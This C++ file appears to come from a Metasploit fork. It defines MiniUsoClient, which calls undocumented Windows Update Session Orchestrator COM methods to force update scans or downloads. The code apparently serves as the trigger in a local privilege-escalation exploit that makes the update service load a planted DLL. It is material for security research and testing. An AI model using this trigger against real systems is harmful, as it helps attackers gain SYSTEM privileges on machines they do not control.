Files
metasploit-gs/external/source/uso_trigger/MiniUsoClient.cpp
T
bwatters-r7 7213d379ec Add Uso dll
2020-04-23 15:18:22 -05:00

111 lines
2.7 KiB
C++

#include "MiniUsoClient.h"
#pragma comment(lib, "rpcrt4.lib")
MiniUsoClient::MiniUsoClient()
{
HRESULT hResult;
hResult = CoInitializeEx(0, COINIT_MULTITHREADED);
if (FAILED(hResult))
{
//wprintf_s(L" |__ CoInitializeEx() failed. Error code = 0x%08X\n", hResult);
_ready = false;
}
else
{
_ready = true;
}
}
MiniUsoClient::~MiniUsoClient()
{
CoUninitialize();
}
void MiniUsoClient::ThrowOnError(HRESULT hResult)
{
if (hResult != 0)
{
throw _com_error(hResult);
}
}
bool MiniUsoClient::Run(UsoAction action)
{
HRESULT hResult;
if (this->_ready)
{
//wprintf_s(L" |__ Creating instance of 'UpdateSessionOrchestrator'... ");
GUID CLSID_UpdateSessionOrchestrator = { 0xb91d5831, 0xb1bd, 0x4608, { 0x81, 0x98, 0xd7, 0x2e, 0x15, 0x50, 0x20, 0xf7 } };
IUpdateSessionOrchestratorPtr updateSessionOrchestrator;
hResult = CoCreateInstance(CLSID_UpdateSessionOrchestrator, nullptr, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&updateSessionOrchestrator));
if (FAILED(hResult))
{
//wprintf_s(L"\n |__ CoCreateInstance() failed. Error code = 0x%08X\n", hResult);
CoUninitialize();
return false;
}
//wprintf_s(L"Done.\n");
/*
try
{
ThrowOnError(updateSessionOrchestrator->LogTaskRunning(L"StartScan"));
}
catch (const _com_error& error)
{
//wprintf(L" |__ LogTaskRunning() - Return code: 0x%08X (\"%s\")\n", error.Error(), error.ErrorMessage());
}
*/
IUsoSessionCommonPtr usoSessionCommon;
GUID IID_IUsoSessionCommon = { 0xfccc288d, 0xb47e, 0x41fa, { 0x97, 0x0c, 0x93, 0x5e, 0xc9, 0x52, 0xf4, 0xa4 } };
try
{
//wprintf_s(L" |__ Creating a new Update Session... ");
updateSessionOrchestrator->CreateUpdateSession(1, &IID_IUsoSessionCommon, &usoSessionCommon);
//wprintf_s(L"Done.\n");
//wprintf_s(L" |__ Calling 'CoSetProxyBlanket()'... ");
ThrowOnError(CoSetProxyBlanket(usoSessionCommon, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT, COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_DEFAULT, RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL));
//wprintf_s(L"Done.\n");
switch (action)
{
case USO_STARTSCAN:
//wprintf(L" |__ Calling 'StartScan'... ");
ThrowOnError(usoSessionCommon->Proc21(0, 0, L"ScanTriggerUsoClient"));
//wprintf(L"Done.\n");
break;
case USO_STARTDOWNLOAD:
//wprintf(L" |__ Calling 'StartDownload'... ");
ThrowOnError(usoSessionCommon->Proc22(0));
//wprintf(L"Done.\n");
break;
case USO_STARTINTERACTIVESCAN:
//wprintf(L" |__ Calling 'StartInteractiveScan'... ");
ThrowOnError(usoSessionCommon->Proc21(-1, 0, L"ScanTriggerUsoClientInteractive"));
//wprintf(L"Done.\n");
break;
}
}
catch (const _com_error&)
{
return false;
}
}
else
{
return false;
}
return true;
}